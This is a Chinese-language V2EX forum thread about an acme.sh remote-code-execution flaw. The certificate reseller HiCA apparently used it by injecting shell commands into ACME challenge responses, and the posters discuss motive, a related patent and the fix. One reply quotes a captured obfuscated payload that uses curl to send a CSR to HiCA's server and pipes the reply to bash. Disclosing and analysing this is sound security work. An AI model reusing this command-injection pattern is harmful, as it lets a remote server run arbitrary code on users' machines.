V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
baobao1270
V2EX  ›  信息安全

acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

  •  
  •   baobao1270 · 2023-06-09 17:36:55 +08:00 · 10009 次点击
    这是一个创建于 535 天前的主题,其中的信息可能已经有所发展或是发生改变。

    https://github.com/acmesh-official/acme.sh/issues/4659

    一家来自中国证书颁发机构 HiCA 正在向 ACME 质询过程中注入任意命令,并且可以被 acme.sh 在客户端执行。

    建议大家不要使用 HiCA 这家 CA ,最好仅使用知名的证书服务比如 ZeroSSL, Let's Encrypt, Google Trust Service 等。

    他们甚至还申请了专利……: https://qxb-img-osscache.qixin.com/patents_pdf_new/2219395a941e8bae0e5cb4475b3b3610.pdf

    47 条回复    2023-06-10 16:26:10 +08:00
    InDom
        1
    InDom  
       2023-06-09 17:40:17 +08:00
    什么?我又被白嫖了?
    v2yllhwa
        2
    v2yllhwa  
       2023-06-09 17:41:19 +08:00 via Android
    我还用过这家。。。记得宣称的就是只准使用 acme.sh ,不能用 gui 等方式签发。
    codehz
        3
    codehz  
       2023-06-09 17:54:59 +08:00   ❤️ 1
    专利的内容是显示付款信息,不是 rce
    baysonfox
        4
    baysonfox  
       2023-06-09 18:18:11 +08:00
    OP 里提到的 issue 里有人抓到了脚本,目前还没啥大问题 (见 https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1583615376)
    NanoApe
        5
    NanoApe  
       2023-06-09 18:19:06 +08:00
    看了眼,并不是恶性利用,只是为了显示付款信息和收款二维码之类的
    baobao1270
        6
    baobao1270  
    OP
       2023-06-09 18:34:06 +08:00
    @v2yllhwa 因为只有 acme.sh 支持这么搞。标准的 acme 协议不支持这种。

    @codehz 是的,「显示付款信息」是动机,「利用 RCE 」是为了完成动机所做的行为。

    @NanoApe 我觉得还是应该警惕,今天可以显示付款信息、二维码,以后就有能力做「匿名数据收集」,再往后如果哪天「 CA 受到外部压力,奉命收集用户私钥,搞双证书体系」也是有可能的。
    azuis
        7
    azuis  
       2023-06-09 18:38:10 +08:00
    @codehz 但是问题是如果 rce 修掉之后就无法显示付款信息了。 实际上这个专利的实现依赖于 rce 。
    azuis
        8
    azuis  
       2023-06-09 18:43:21 +08:00   ❤️ 1
    其实专利上面有说这个 rce


    "[0014] ACME 标准请求和响应格式:根据 RFC8555 之定义,ACME 的请求与响应格式均为
    application/jose+json 格式,其作为 json 结构的进一步约束版本,所有的响应与请求参数
    都有严格的类型要求,ACME 服务器扩展的任何非 RFC8555 标准字段,均无法被客户端所理
    解,不论是展示或者去请求所返回的字段。
    [0015] 但是一部分 ACME 客户端,在处理异常之时,会将消息字段或者完整的响应 body 进
    行原始输出。这样就给了操作空间来扩展交互界面,例如想展示非 application/jose+json
    数据给客户端,甚至数据经过特殊 unicode 处理(用 unicode 字符拼出一张二维码),在客户
    端实现二维码的展示也是可行的。"

    是一部分客户端异常处理输出的时候的问题。
    Yadomin
        9
    Yadomin  
       2023-06-09 18:52:32 +08:00   ❤️ 20
    拿着这么大的洞居然只用来显示二维码,太感人了
    leonshaw
        10
    leonshaw  
       2023-06-09 19:18:59 +08:00 via Android   ❤️ 1
    @Yadomin 玩脱了 CA 会被吊销吧
    james122333
        11
    james122333  
       2023-06-09 19:26:30 +08:00 via Android   ❤️ 1
    这个烂脚本近八千行还 gpl 3.0 协议...
    patrickyoung
        12
    patrickyoung  
       2023-06-09 19:34:37 +08:00 via iPhone
    有没有人可以给一下这家公司的 CA 序列号或者信任链,我在本地吊销一下以保证我的安全
    buxiaozisun
        13
    buxiaozisun  
       2023-06-09 19:51:43 +08:00 via Android
    @patrickyoung 根证书 USERTrust 中间证书 Sectigo
    jKpzPv20NjX56i44
        14
    jKpzPv20NjX56i44  
       2023-06-09 19:59:20 +08:00
    他们的出发点是好的... 但是就是不知道这个世界的“规则”到底是什么。为什么就不提个 pr 呢...
    LeviMarvin
        15
    LeviMarvin  
       2023-06-09 20:06:29 +08:00
    同求该公司 CA 的证书信息,我需要本地吊销
    baobao1270
        16
    baobao1270  
    OP
       2023-06-09 20:24:29 +08:00   ❤️ 1
    @Yadomin 毕竟他们是 CA 公司,不会用来做真正的攻击行为。

    @patrickyoung
    @LeviMarvin
    他们是 Sectigo 分销,好像没有自己的中间证书。市面上很多家 CA 都是 Sectigo 的,你吊销了 Sectigo 证书那会误伤很多网站
    louisxxx
        17
    louisxxx  
       2023-06-09 20:36:41 +08:00
    @Yadomin 主要是用的人信任你才会用你的接口
    makelove
        18
    makelove  
       2023-06-09 20:49:32 +08:00   ❤️ 2
    acme.sh 为什么这么大的程序要用 shell 脚本来写?感觉用 sh 处理各类外来数据本身就很难搞可靠
    Trim21
        19
    Trim21  
       2023-06-09 20:56:57 +08:00
    太搞了,换 certbot 了
    1423
        20
    1423  
       2023-06-09 21:01:07 +08:00
    草台班子论再次生效
    LeviMarvin
        21
    LeviMarvin  
       2023-06-09 21:07:01 +08:00
    HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
    LeviMarvin
        22
    LeviMarvin  
       2023-06-09 21:12:16 +08:00
    @patrickyoung 坏消息,只是一个无耻的中间商
    xiangyuecn
        23
    xiangyuecn  
       2023-06-09 21:31:42 +08:00
    我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

    ------------------

    快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

    打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

    刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅
    xiangyuecn
        24
    xiangyuecn  
       2023-06-09 21:52:28 +08:00
    我网的问题,刚又打开了他们的网站。。哈

    接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


    http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
    james122333
        25
    james122333  
       2023-06-09 22:11:55 +08:00 via Android
    @makelove

    shell 可以写 只是写很烂还要相容 posix sh 比较高级的特性都没有
    james122333
        26
    james122333  
       2023-06-09 22:17:02 +08:00 via Android
    是指这个脚本写很烂
    wellerman
        27
    wellerman  
       2023-06-10 00:46:38 +08:00
    这脑子好使,一看平时干过不少好事。
    jim9606
        28
    jim9606  
       2023-06-10 05:18:53 +08:00
    所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。

    @james122333 烂不烂跟用不用 GPL 有啥关系?
    james122333
        29
    james122333  
       2023-06-10 06:09:22 +08:00 via Android
    @jim9606

    shell 我都不写 eval XD
    烂是程序烂 一堆无用的代码 写的也很不简洁
    是指写的烂又 GPL 不是烂与 GPL 有关
    本来想改 看到协议算了 我还是自己搞一个
    marshmallow
        30
    marshmallow  
       2023-06-10 08:02:11 +08:00
    acme.sh 我就没有用 root 运行过,还在用 acme.sh 是因为 cetbot 不支持我的域名托管商,cloudflare 又会限制那五个免费域。certbot 我就用默认安装的,感觉用 root 运行关系不大。
    everyx
        31
    everyx  
       2023-06-10 08:52:41 +08:00
    现在用的 certbot 完全够用啦
    est
        32
    est  
       2023-06-10 09:01:51 +08:00
    让我想起四个字「聪明才智」
    benjix
        33
    benjix  
       2023-06-10 09:03:38 +08:00   ❤️ 5
    这家公司的法人就是 V2EX 上的 xoxo ,曾利用 GlobalSign 计费漏洞大量签发出售 1-5 年的 AlphaSSL 证书,后来事发被吊销
    https://v2ex.com/t/178503
    https://v2ex.com/t/78956
    azure2023us928
        34
    azure2023us928  
       2023-06-10 09:11:02 +08:00
    请问,漏洞修复了,删除了 exec ,这个专利是否变的没那么有价值了?

    另外,专利内容写的很好,看的出来是动了脑筋的,把现有的方案优缺点都说清楚了。

    就是这个题目 ‘无头’ 两字,感觉特别生硬!

    还不如叫一种 acme 商业证书智能支付模式。

    不得不说,完全抛开浏览器交互,全部由命令行输出 QR 码支付,简化支付流程,也是一种进步!
    azure2023us928
        35
    azure2023us928  
       2023-06-10 09:15:47 +08:00
    建议,acme.sh 作者考虑商业支付领域的分支,采用 api 的方式或者其他更加安全的方式,为第三方证书签发机构提供一个接口,让其能通过 acme 协议进行签发。对推广 acme 协议也是一种贡献,而不仅是简单封堵漏洞!

    既然有人发现了这个漏洞,而且还合理利用了,说明这个市场需求还是有的。
    azure2023us928
        36
    azure2023us928  
       2023-06-10 09:33:53 +08:00
    另外,这个专利还有很大局限性:当用户欠费时,没有消息通知,没有自动付款的途径。总不能让命令行一直开着,等着过期弹出 QR 码吧
    j8sec
        37
    j8sec  
       2023-06-10 09:48:41 +08:00   ❤️ 1
    @azure2023us928 邮件发送账单,用户支付后下次定时再续期;这个没有在申请文件中展开,很多边缘的拓展说明在最终申请文件里面精简了,原件 9 页,PDF 只有 4 页面。
    SenLief
        38
    SenLief  
       2023-06-10 09:57:23 +08:00
    @benjix 这么一说我想起来了,我也买了一个,不过域名没到 5 年就续费了。
    yzc27
        39
    yzc27  
       2023-06-10 10:24:24 +08:00
    不太懂具体原理,平时只在虚拟机里临时跑 acme.sh 来更新证书,每次更新完就把新的证书拉到服务器,然后虚拟机恢复快照。想知道这个漏洞会有什么安全隐患吗?
    xiangyuecn
        40
    xiangyuecn  
       2023-06-10 10:34:36 +08:00   ❤️ 1
    @yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波😂

    HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

    相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。
    yzc27
        41
    yzc27  
       2023-06-10 11:08:46 +08:00
    @xiangyuecn #40 谢谢大佬,这看起来挺不错,至少能图形化操作。我不太懂技术,用它不会把我域名申请到的证书传到别的服务器上吧?
    xiangyuecn
        42
    xiangyuecn  
       2023-06-10 11:20:13 +08:00
    @yzc27 #41 不会的,这个网页特意做成的一个单一文件,包括图标都是内嵌的;申请证书过程中请求的接口数据,可以按 F12 打开浏览器控制台查 Network 面板里面看得到,只会给选定的 ACME 接口发送数据;其中使用到的私钥只用于数据签名,私钥内容不会发送给任何人。
    julyclyde
        43
    julyclyde  
       2023-06-10 11:57:43 +08:00
    @azure2023us928 本来专利也不意味着价值。所以现在并不会“变得没那么”有价值
    yzc27
        44
    yzc27  
       2023-06-10 12:14:08 +08:00
    @xiangyuecn #42 您这个部署到 github pages 上可行吗?
    lwjef
        45
    lwjef  
       2023-06-10 13:48:33 +08:00 via iPhone
    @jim9606 #28 估计想表达的是小项目用 gpl 证书有些膈应人,不能拿来特别小修直接用,自己写个部分功能满足自己的也不难,因此不想回馈代码了。
    adoyle
        46
    adoyle  
       2023-06-10 14:30:32 +08:00
    在最新版本的 acme.sh 已移除了 exec 。这个专利没用了。
    https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1584561604
    xiangyuecn
        47
    xiangyuecn  
       2023-06-10 16:26:10 +08:00
    @yzc27 #44 有 github 的,只是一个 html 文件,放电脑上也可以直接打开

    https://xiangyuecn.github.io/ACME-HTML-Web-Browser-Client/ACME-HTML-Web-Browser-Client.html
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1006 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 21:36 · PVG 05:36 · LAX 13:36 · JFK 16:36
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.